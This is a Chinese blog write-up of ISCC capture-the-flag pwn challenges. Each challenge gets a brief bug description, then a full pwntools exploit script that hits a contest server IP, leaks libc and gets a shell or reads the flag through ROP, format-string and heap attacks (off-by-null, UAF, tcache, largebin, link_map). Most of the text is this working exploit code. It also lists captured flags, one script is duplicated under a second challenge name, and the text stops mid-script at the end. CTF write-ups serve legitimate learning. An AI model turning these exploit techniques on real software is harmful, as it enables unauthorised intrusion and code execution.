记得去年的ISCC,热闹。今年的逆向啥的都不会作了,就作了点PWN,有两个是师傅给的WP。也算凑齐了。
这网站比赛结束后,居然上不去了,弄得连几个题都不清楚了。
练武题
chao
这题比较搞,在edit有可读入0x20字节可以有8字节溢出,但后边有个菜单进去直接输入Flag就进到后门了。
Your_program
输入key的时候用到危险函数gets,利用这个溢出。PIE未开,直接写ROP。
__int64 authorize()
{
char v1[28]; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+1Ch] [rbp-4h]
v2 = 2;
printf("Enter key: ");
gets(v1);
if ( v1[27] != 0x41 )
{
puts("failed!");
exit(0);
}
puts("successful!");
return 0LL;
}
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./Your_program')
#p = process('./Your_program')
p = remote('182.92.237.102', 10032)
authorize = elf.sym['authorize']
bss = 0x403a00
pop_rdi = 0x0000000000401763 # pop rdi ; ret
pop_rsi = 0x0000000000401761 # pop rsi ; pop r15 ; ret
#gdb.attach(p, "b*0x4012da\nc")
p.sendlineafter(b"Enter key: ", b'A'*0x20 + flat(bss, pop_rdi, elf.got['gets'], elf.plt['puts']-4, elf.sym['authorize']))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x83970
print(hex(libc_base))
system = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd
p.sendlineafter(b"Enter key: ", b'A'*0x20 + flat(0, pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()
*shopping
n1ctf2018_null(通过劫持线程arena达到任意地址分配)
原题。
read会造成溢出,第1次不够再读会造成溢出。
size_t __fastcall sub_400BCA(__int64 a1, size_t a2)
{
size_t result; // rax
int v3; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]
for ( i = 0LL; ; i += v3 )
{
result = i;
if ( i >= a2 )
break;
v3 = read(0, (void *)(a1 + i), a2); // 分两次写实现溢出
if ( v3 <= 0 )
{
write(1, "error\n", 6uLL);
sub_400AD6(1LL);
}
}
return result;
}
进程中,当heap用完,再建时会建在线程数据块前,然后利用溢出将BSS的指针写到fastbin里。
from pwn import *
context(arch='amd64', log_level='debug')
sh = process('./p4')
#sh = remote('182.92.237.102', 10019)
#sh = remote('node3.buuoj.cn',26808)
elf = ELF('./p4')
system_plt = elf.plt['system']
sh.sendlineafter(b"Enter the password: ",b"I'm ready for shopping")
def add(size,n,content=b'', content2=b''):
sh.sendlineafter(b"Action: ",b'1')
sh.sendlineafter(b"Item ID: ",str(size).encode())
sh.sendlineafter(b"Quantity: ",str(n).encode())
if content == b'':
sh.sendlineafter(b"Add gift message? (0/1): ",b'0')
else:
sh.sendlineafter(b"Add gift message? (0/1): ",b'1')
sh.sendafter(b"Message: ",content)
sleep(0.2)
sh.send(content2)
gdb.attach(sh, "b*0x400e32\nc")
'''
[+] In (0x7ffff0000000-0x7ffff3ffd000), permission=rw-
0x7ffff00008b8 - 0x7ffff00008c0 → "\x15\x40[...]"
gef➤ search- 0x4015 little 0x00007fffe8000000-0x00007fffe8001000
[+] Searching '\x15\x40' in 0x00007fffe8000000-0x00007fffe8001000
[+] In (0x7fffe8000000-0x7ffff0000000), permission=rw-
0x7fffe8000028 - 0x7fffe8000030 → "\x15\x40[...]"
'''
for i in range(12):
add(0x4000,1000)
#溢出,修改thread_arena,将bss上的fake_chunk接到fastbin里
add(0x4000,262,'0'*0x3FF0, b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d))
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
add(0x60,0,payload.ljust(0x60, b'b')) #申请到bss上,602038 修改函数指针,getshell
sh.interactive()
#ISCC{63665ea3-5e5c-4109-a912-eceac236bb91}
#原文链接:https://blog.csdn.net/seaaseesa/article/details/107597557
miao
32位程序,静态编译,gets可以溢出。
用ROP弄个chains再改改,绕过那些\n
from pwn import *
from struct import pack
# Padding goes here
p = b''
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080def3d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x080ea060)
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0806cf83) # int 0x80
#io = process('./miao')
io = remote('182.92.237.102', 10015)
context(arch='i386', log_level='debug')
#gdb.attach(io, "b*0x80489cf\nc")
#get canary
io.sendlineafter(b"Would you like to say something to it?\n", b'%31$x')
canary = int(io.recv(8), 16)
io.sendlineafter(b" ( ^.^ ) \n", b'A'*100 + flat(canary,0,0,0) + p)
io.interactive()
Flag
什么年代了还32位程序。高度怀疑这些题的来历。
welcome有个printf,然后 back有个溢出
from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./p3')
p = remote('182.92.237.102', 10012)
#p = process('./p3')
#gdb.attach(p, "b*0x8049382\nc")
p.sendlineafter(b"what's the content?\n", b'%19$p,%22$p,%27$p,')
#p.sendlineafter(b"what's the content?\n", b'%19$p,%22$p,%27$p,')
p.recvuntil(b"Your answered:\n")
canary = int(p.recvuntil(b',', drop=True), 16)
rbp = int(p.recvuntil(b',', drop=True), 16)
libc = int(p.recvuntil(b',', drop=True), 16) - 0x1aed5 #0x1eed5
print(f"{libc = :x} {canary = :x} {rbp = :x}")
bin_sh = libc + 0x18c363
system = libc + 0x41360
#p.sendafter(b"Input:\n", b'\x00'*0x88 + flat(canary,1,0,0, elf.plt['puts'],0, elf.got['puts']))
p.sendafter(b"Input:\n", b'\x00'*0x88 + flat(canary,1,0,0, system,0, bin_sh))
p.interactive()
eazy_heap
突然这难度就上来了,libc-2.35 off_by_null 还好有模板。
造重叠块后往栈里写ORW
from pwn import *
context(arch='amd64',log_level='debug')
libc = ELF('./libc.so.6') #libc-2.35-0ubuntu3
#p = process('./CAT_DE')
p = remote('182.92.237.102', 2122)
def add(size, msg=b'A'):
p.sendlineafter(b"input your car choice >> \n", b'1')
p.sendlineafter(b"size:\n", str(size).encode())
p.sendafter(b"content:\n", msg)
def free(idx):
p.sendlineafter(b"input your car choice >> \n", b'2')
p.sendlineafter(b"idx:\n", str(idx).encode())
def show(idx):
p.sendlineafter(b"input your car choice >> \n", b'3')
p.sendlineafter(b"idx:\n", str(idx).encode())
p.recvuntil(b"context:\n")
def edit(idx, msg): #off_by_null
p.sendlineafter(b"input your car choice >> \n", b'4')
p.sendlineafter(b"idx:\n", str(idx).encode())
p.sendafter(b"content:\n", msg)
add(0x410) #A 0
add(0x120)
add(0x410) #B 2
add(0x440) #C 3 C落在尾字节为0的位置 xxxc00 x 0x450
add(0x140)
add(0x4d0) #D
add(0x410) #E 6
add(0x110)
for i in [0,3,6,2]:
free(i)
#newB 比oldB 大0x20 oldC头部的largebin指针保留在newB尾部
add(0x430, b'\x00'*0x418+p32(0x5a0)) #0 new B = B +0x20
add(0x410) #2 E
add(0x410) #3 A
add(0x420) #6 new C = C-0x20
free(3) #A
free(6) #newC
add(0x410, p64(0)+ b'\0') #3 保留第2组指针bk尾字节置0后,指向第1块保留的指针
add(0x420) #6 newC
free(6) #newC
free(2) #E
free(5) #D
add(0x4f0, b'A'*0x4e0+b'\0') #2 newD = D+0x20
add(0x3f0) #5 newE
add(0x420) #6 newC
free(4)
add(0x148) #off_by_null newD 0x501->0x500 , pre_size=0x4a0
edit(4, b'A'*0x140+p64(0x5a0))
free(2) #向前合并 C+4+D 形成重叠
show(6)
libc.address = u64(p.recv(8)) - 0x21a000
print(f"{libc.address = :x}")
heap_base = u64(p.recv(16)[8:]) - 0xc20
print(f"{heap_base = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x000000000011f497 # pop rdx ; pop r12 ; ret
pop_rcx = libc.address + 0x000000000008c6bb # pop rcx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
pop_rbp = libc.address + 0x000000000002a2e0 # pop rbp ; ret
syscall = libc.sym['getpid'] + 9
leave_ret = libc.address + 0x00000000000562ec # leave ; ret ??
stdout = libc.sym['_IO_2_1_stdout_']
add(0x88)
add(0x88)
add(0xc8)
add(0xc8)
free(2)
free(8)
edit(6, b'A'*0x68 + flat(0x91, (heap_base>>12)^(libc.sym['environ']-0x10)))
add(0x88) #2
add(0x88) #8
show(8)
stack = u64(p.recv(0x18)[0x10:]) - 0x140 - 8
free(10)
free(9)
edit(6, b'A'*0x68 + flat(0x91, b'B'*0x88, 0xd1, (heap_base>>12)^stack))
add(0xc8)
#gdb.attach(p, "b*0x5555555555dd\nc")
orw = flat([
pop_rdi, stack, pop_rsi,0, pop_rax,2, syscall, #open(flag)
pop_rdi,3, pop_rsi, stack+0xc0, pop_rdx,0x50,0, pop_rax, 0, syscall, #read(3,buf,0x50)
pop_rdi,1, pop_rax, 1, syscall
])
add(0xc8, b'/flag\0\0\0'+orw)
p.interactive()
easyshell
gets+printf先泄露地址,然后溢出写后门
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./p2')
p = remote('182.92.237.102', 10011)
p.sendlineafter(b'>>', b'flagis %15$p,%16$p,%17$p,')
canary = int(p.recvuntil(b',', drop=True),16)
rbp = int(p.recvuntil(b',', drop=True),16)
elf = int(p.recvuntil(b',', drop=True),16)
p.sendlineafter(b'>>', b'exit'.ljust(56,b'\x00') + flat(canary,rbp,elf-0x1520+0x128e))
p.interactive()
U
32位,堆题,有UAF和管理块。控制管理块
from pwn import *
context(arch='i386', log_level='debug')
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
elf = ELF('./U')
menu = b"What's your choice :"
def add(size,msg=b'A'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Note size :", str(size).encode())
p.sendafter(b"Content :", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index :", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index :", str(idx).encode())
#p = process('./U')
p = remote('182.92.237.102', 10016)
#1, chunk2.data = chunk0.manage 修改指针泄露libc
add(0x18)
add(0x18)
free(0)
free(1)
add(8, flat(elf.sym['print_note_content'], elf.got['read']))
show(0)
libc.address = u32(p.recv(4)) - libc.sym['read']
print(f"{libc.address = :x}")
#2, 将chunk0.cmd改为gets 用show实现对后边chunk1的写
free(2)
add(8, flat(libc.sym['gets']))
#3,让chunk1.ptr=notelist 泄露堆地址,获得tcache的key
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, elf.sym['print_note_content'], elf.sym['notelist'],0 , 0x21, elf.got['free']))
show(1)
heap = u32(p.recv(4)) - 0x1a0
print(f"{heap = :x}")
#4,泄露栈上的指针 使用25->61->43的链修改为指向count,chunk[2],chunk[3],使count=2,清掉chunk2,3
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], b',%8$p,%25$p,%61$p,%43$p,'))
#gdb.attach(p, "b*0x804964a\nc")
show(1)
p.recvuntil(b',')
stack = int(p.recvuntil(b',', drop=True),16) - 0x88 + 0xfc
print(f"{stack = :x}")
pause()
#count=2
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], f'%{(stack&0xffff)-4}c%25$hn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], f'%{0xc044-4}c%61$hn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], f'%254c%43$hhn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')
#cleak notelist 2-3
for v in range(0x50,0x58):
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], f'%{v-4}c%61$hhn,,,'.encode()))
show(1) #25, 61->43
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11, libc.sym['printf'], f'%252c%43$hhn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')
'''
0xffddbd50│+0x0000: 0x099de1d0 → 0xf7dd72b0 → <printf+0> endbr32 ← $esp
0xffddbd54│+0x0004: 0xffddbd68 → 0xf7f70a31 → 0xe0f7ecc5
0xffddbd58│+0x0008: 0x00000004
0xffddbd5c│+0x000c: 0x080495a5 → <print_note+16> add ebx, 0x2a5b
0xffddbd60│+0x0010: 0x0804a0e3 → "What's your choice :" #4
0xffddbd64│+0x0014: 0x00000001
0xffddbd68│+0x0018: 0xf7f70a31 → 0xe0f7ecc5
0xffddbd6c│+0x001c: 0x2d45a600
0xffddbd70│+0x0020: 0xffddbd88 → 0xffdd0a33 → 0x00000000 #8
0xffddbd74│+0x0024: 0x0804c000 → 0x0804bf0c #9
0xffddbd78│+0x0028: 0xffddbd98 → 0x00000000 ← $ebp
0xffddbd7c│+0x002c: 0x080497d6 → <main+180> jmp 0x80497f5 <main+211>
0xffddbd80│+0x0030: 0x00000001
0xffddbdb4│+0x0064: 0xffddbe44 → 0xffddd2ea → 0x00552f2e ("./U"?) #25->61->43:count
0xffddbdfc│+0x00ac: 0x080491a0 → <_start+0> endbr32 #43
0xffddbe44│+0x00f4: 0xffddd2ea → 0x00552f2e ("./U"?) #61
'''
#5,tcache attack 写got.free 为system ,chunk0.ptr->/bin/sh free(0)
show(0)
p.sendline(flat(libc.sym['gets'],next(libc.search(b'/bin/sh\0')),0, 0x21, b'B'*0x1c, 0x11,0,0,0, 0x21, elf.got['free'], heap+0x10))
add(0x18)
add(0x18, flat(libc.sym['system'], 0x8049663)) #got.free->system
free(0)
#gdb.attach(p)
#pause()
p.interactive()
#ISCC{9a7c5fbc-9d62-4edc-998a-62e8152f4df3}
ISCC_easy
printf+溢出,没可说的了
from pwn import *
context(arch='i386', log_level='debug')
libc = ELF('/home/kali/ctf/0501/libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = process('./ISCC_easy')
#gdb.attach(p, "b*0x80492e3\nc")
p = remote('182.92.237.102', 10013)
p.sendafter(b"Let's have fun!\n", p32(0x804c030)+b'A%4$hhn,%12$p,%15$p,')
p.recvuntil(b',')
stack = int(p.recvuntil(b',', drop=True), 16)
libc.address = int(p.recvuntil(b',', drop=True), 16) - 245 - libc.sym['__libc_start_main']
print(f"{libc.address = :x}")
p.sendafter(b"Input:\n", b'A'*0x94 + flat(libc.sym['system'],0, next(libc.search(b'/bin/sh\0'))))
p.interactive()
heapheap
libc-2.31 UAF ORW
只能建大块,写link_map,模板
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF("./heapheap")
libc = ELF('./libc-2.31.so')
#p = process('./heapheap')
p = remote('182.92.237.102', 11000)
menu = b"Your choice:\n"
def add(idx,size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendlineafter(b"Size:\n", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index:", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index:\n", str(idx).encode())
p.recvline()
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index:\n", str(idx).encode())
p.sendafter(b"context: \n", msg)
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
add(3, 0x500) #0 unsort->largebin
'''
0x7ffff7fc0fe0: 0x0000555555a01290 0x0000555555a01290 largebin
0x555555a012a0: 0x00007ffff7fc0fd0 0x00007ffff7fc0fd0
0x555555a012b0: 0x0000555555a01290 0x0000555555a01290 -> heap_self -> rtld_global - 0x20
'''
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x290
ld_remote_off = 0
ld_remote_off = 0x6000
rtld_global = libc_base + 0x228060 - ld_remote_off
print(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
0x7ffff7ffd060 <_rtld_global>: 0x00007ffff7ffe190 0x0000000000000004
0x7ffff7ffd060 <_rtld_global>: 0x0000555555a01bd0 -> chunk2
'''
libc.address = libc_base
one = libc_base + 0xe3b04
pop_rdi = libc_base+0x23b6a
pop_rsi = libc_base+0x2601f
pop_rdx = libc_base+0x119431 #pop rdx;pop r12;ret
setcontext_3d = libc.sym['setcontext'] + 0x3d
chunk_base = heap_base + 0xbd0
link_map=p64(0)
link_map+=p64(rtld_global+0x16e0)
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110)
link_map+=p64(chunk_base+0x110+0x20)
link_map+=p64(chunk_base+0x110+0x10)
link_map+=p64(0x20)
link_map+=b"flag\0\0\0\0"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #ret
link_map+=p64(0)*12
link_map+=p64(0)
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(0)*2
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(libc.sym['read']) #read(0, chunk_base+0x238, 0x100)
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2, link_map)
p.sendlineafter(menu, b'5')
#orw
flag_addr = chunk_base+0x130
orw = flat([pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'],
pop_rdi, 3, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['read'],
pop_rdi, 1, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['write']])
p.send(orw)
p.interactive()
擂台题
*babyheap
先是个基于time的srand,不过ida翻译过来的不能直接用
srand(100 * ((__int64)((((__int64)0xA3D70A3D70A3D70BLL * (unsigned __int128)v0) >> 64) + v0) >> 6));
师傅的WP里是v0-v0%100,不知道为什么编译后就这么复杂了。
然后是写__stdout_FILE
from ctypes import *
from pwn import *
import time
context(arch='amd64', log_level='debug')
elf = ELF('./babyheap')
libc = ELF('/home/kali/ctf/0501/libc.so')
clibc = cdll.LoadLibrary("/home/kali/ctf/0501/libc.so")
def check1(s):
v3 = [48,57,65,90,97,122]
chk = ''
for i in range(s):
while True:
v0 = clibc.rand()%6
if v0&1 == 0:
break
chk += chr(v3[v0] + clibc.rand()%(v3[v0+1]-v3[v0]+1))
return chk
def edit(idx,msg):
p.sendlineafter(b"Please Select: ", b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b"Content: ", msg)
def add(idx,size):
p.sendlineafter(b"Please Select: ", b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
p.sendlineafter(b"Please Select: ", b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx,size):
p.sendlineafter(b"Please Select: ", b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def gift(s):
p.sendlineafter(b"Please Select: ", b'114514')
p.sendlineafter(b"Please enter the captcha: ", s.encode())
p = process('./babyheap')
#v0 = clibc.time(0) #返回秒数,但直接调用会报错?
#seed = (100 * (((((0xA3D70A3D70A3D70B-(1<<64)) * v0)%(1<<128) >> 64) + v0) >> 6))%(1<<32)
'''
.text:0000000000001269 89 C0 mov eax, eax
.text:000000000000126B 48 89 45 F8 mov qword ptr [rbp+seed], rax
.text:000000000000126F 48 8B 4D F8 mov rcx, qword ptr [rbp+seed]
.text:0000000000001273 48 BA 0B D7 A3 70 3D 0A D7 A3 mov rdx, 0A3D70A3D70A3D70Bh
.text:000000000000127D 48 89 C8 mov rax, rcx
.text:0000000000001280 48 F7 EA imul rdx
imul rdx : rax *= rdx ,rdx存的是积的符号扩展,不能用(a*b)>>64表示,要转负数
'''
v0 = int(time.time())
seed = v0 - v0%100
clibc.srand(seed)
s1 = check1(8)
s2 = check1(16)
s3 = check1(16)
print('ck1:', s1, s2, s3)
p.sendlineafter(b"To verify that you are AI. Enter the captcha: ", s1.encode())
gdb.attach(p)
pause()
gift(s2)
p.recvuntil(b"Give You: ")
libc.address = int(p.recvline(), 16) - libc.sym['printf']
print(f"{libc.address = :x}")
add(0,0x20)
off = (0x9db0-0x8060)//8
'''
gef➤ x/40gx 0x0000555555558000
0x555555558000: 0x0000555555558000 0x0000000200000000
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020: 0x0000000000000000 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
0x555555558040: 0x4a6b326e41453330 0x3778306b3838794e
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060: 0x0000555555559db0 0x0000000000000000
'''
fake_IO = b'/bin/sh\x00'
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['__stdio_close'])
fake_IO += p64(1)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['system'])
edit(0,p64(libc.sym['__stdout_FILE']))
edit(off, fake_IO)
gift(s3) #call printf
p.interactive()
curious
代码很乱,前边有个base变表检查,然后就是个溢出,看代码的难度
__int64 __fastcall sub_40200C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, u32 a6)
{
void *v6; // rdi
__int64 v7; // r8
u32 v8; // r9d
int v9; // edx
int v10; // ecx
int v11; // r8d
int v12; // r9d
sub_419300((int *)off_4C2730, 0LL, 2, 0LL, a5, a6);
v6 = off_4C2738;
sub_419300((int *)off_4C2738, 0LL, 2, 0LL, v7, v8);
sub_401DB5((__int64)v6, 0, v9, v10, v11, v12);
if ( (unsigned int)sub_401F47(byte_4C54E0) ) // oh1yes
sub_419120("Go out!");
else
sub_401F7E(); // 溢出
return 0LL;
}
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./curious')
#gdb.attach(p, "b*0x401ff3\nc")
p = remote('182.92.237.102', 10031)
p.sendafter(b"Do you know what I want?", b'oh1yes') #变表b64 a-zA-Z0-9+/ B2GXEwvZ
p.sendlineafter(b"give me your name", b'A')
pop_rdi = 0x0000000000401912 # pop rdi ; ret
pop_rsi = 0x000000000040f49e # pop rsi ; ret
pop_rdx = 0x000000000040181f # pop rdx ; ret
pop_rax = 0x0000000000452af7 # pop rax ; ret
syscall = 0x00000000004012d3 # syscall
bin_sh = 0x4978b5
p.sendlineafter(b"Now what do you want to say?", b'A'*0x20+ flat(0,pop_rdi, bin_sh, pop_rsi,0,pop_rdx,0, pop_rax, 59, syscall))
p.interactive()
#ISCC{nsKy2vjTBm82ZDshA5XSoEOm2IWSfc5UXDWb}
great
还是32位gets
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./curious')
#gdb.attach(p, "b*0x401ff3\nc")
p = remote('182.92.237.102', 10031)
p.sendafter(b"Do you know what I want?", b'oh1yes') #变表b64 a-zA-Z0-9+/ B2GXEwvZ
p.sendlineafter(b"give me your name", b'A')
pop_rdi = 0x0000000000401912 # pop rdi ; ret
pop_rsi = 0x000000000040f49e # pop rsi ; ret
pop_rdx = 0x000000000040181f # pop rdx ; ret
pop_rax = 0x0000000000452af7 # pop rax ; ret
syscall = 0x00000000004012d3 # syscall
bin_sh = 0x4978b5
p.sendlineafter(b"Now what do you want to say?", b'A'*0x20+ flat(0,pop_rdi, bin_sh, pop_rsi,0,pop_rdx,0, pop_rax, 59, syscall))
p.interactive()
#ISCC{nsKy2vjTBm82ZDshA5XSoEOm2IWSfc5UXDWb}
simulation_game
libc-2.35 修改mp_.tcache_max_bins 改最大tcache不是改大小是改计数,每个大0x10
largebinattack写到mp_.tcache_max_bins
然后是tcache attack写orw,不过先要读下目录,知道文件叫啥。
from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary("./libc.so.6")
#p = process('./simulation_game')
p = remote('182.92.237.102',8888)
seed = int(time.time())//10
clibc.srand(seed)
m1 = clibc.rand() % 0x10000 + 4660
m2 = clibc.rand() % 0x10000 + 87672
m3 = clibc.rand() % 0x10000 + 170684 #
m4 = clibc.rand() % 0x10000 + 253680
def add(idx,size,msg=b'A'): #size 1-5 x500 520 540 560 580
p.sendlineafter(b"> ", str(m1).encode()) #1start
p.sendlineafter(b"> ", b'6') #save
p.sendlineafter(b"> ", str(idx).encode()) #idx 0-11
p.sendlineafter(b"> ", size) #size 1-5 x500 520 540 560 580
p.sendafter(b"name: ", msg)
p.sendlineafter(b"> ", b'7') #return 0
edit = add
def free(idx, ret=b'7', free=b'1'):
p.sendlineafter(b"> ", str(m2).encode()) #2load
p.sendlineafter(b"> ", str(idx).encode()) #idx 0-11
p.sendlineafter(b"> ", free) #free
p.sendlineafter(b"> ", ret) #return 0
def load_and_save(idx1,idx2,msg): #load no free and save
p.sendlineafter(b"> ", str(m2).encode()) #2load
p.sendlineafter(b"> ", str(idx1).encode()) #idx 0-11
p.sendlineafter(b"> ", b'0') #free
p.sendlineafter(b"> ", b'6') #save
p.sendlineafter(b"> ", str(idx2).encode()) #idx 0-11
p.sendlineafter(b"> ", b'1') #size 1-5 x500 520 540 560 580
p.sendafter(b"name: ", msg)
p.sendlineafter(b"> ", b'7') #return 0
def show():
p.sendlineafter(b"> ", str(m2).encode()) #2load
p.recvuntil(b'\x1bc0..........')
v = p.recvuntil(b'11...')+p.recvuntil(b'\n')
p.sendlineafter(b"> ", b'88')
return v
def debug(idx,msg):
p.sendlineafter(b"> ", str(m4).encode()) #1start
p.sendlineafter(b"Choice a file for debugging.\n", str(idx).encode()) #idx 0-11
p.sendafter(b"data: ", msg)
####################################################################
#largebin attack 在mp_.tcache_max_bins写地址,使0x500块进tcache
####################################################################
add(0,b'2') #save
add(1,b'1')
add(2,b'1') #4=2+0x20
free(0)
add(3,b'3') #0 large
free(2) #4 unsort
v = show().split(b'\n')
large500 = u64(v[0].ljust(8, b'\x00'))
libc.address = large500 - 0x21b110
print(f"{libc.address = :x}")
tcache_max_bins = libc.sym['obstack_exit_failure'] - 0x20 #mp_.tcache_max_bins
print(f"{tcache_max_bins = :x}")
edit(0, b'1', flat(large500,large500,0, tcache_max_bins-0x20))
add(4,b'3') #largebin attack 0x100000=chunk4-0x10
####################################################################
#tcache attack 写orw到栈
####################################################################
free(3)
free(4)
v = show().split(b'\n')
heap = u64(v[3][11:].ljust(8, b'\x00'))<<12
edit(4, b'3', p64(0x100050^(heap>>12)))
add(5,b'3')
add(6,b'3', flat(0x100100, libc.sym['_environ'], 0x100000)) #
show()
v = show().split(b'\n')
stack = u64(v[9][11:].ljust(8, b'\x00')) - 0x150
print('vuln ret:', hex(stack))
#gdb.attach(p, "b*0x55555555635a\nc")
load_and_save(8,10, flat(1,0, stack, 0x100050)) #从8中读入全0的参数写入0x100000避免参数进入指针区,并置s,chunk0
#gdb.attach(p, "b*0x555555556488\nc")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
syscall = next(libc.search(asm('syscall;ret')))
orw = flat([
pop_rdi, stack+0xc8, pop_rsi,0, pop_rdx,0,0, pop_rax,2, syscall, # open
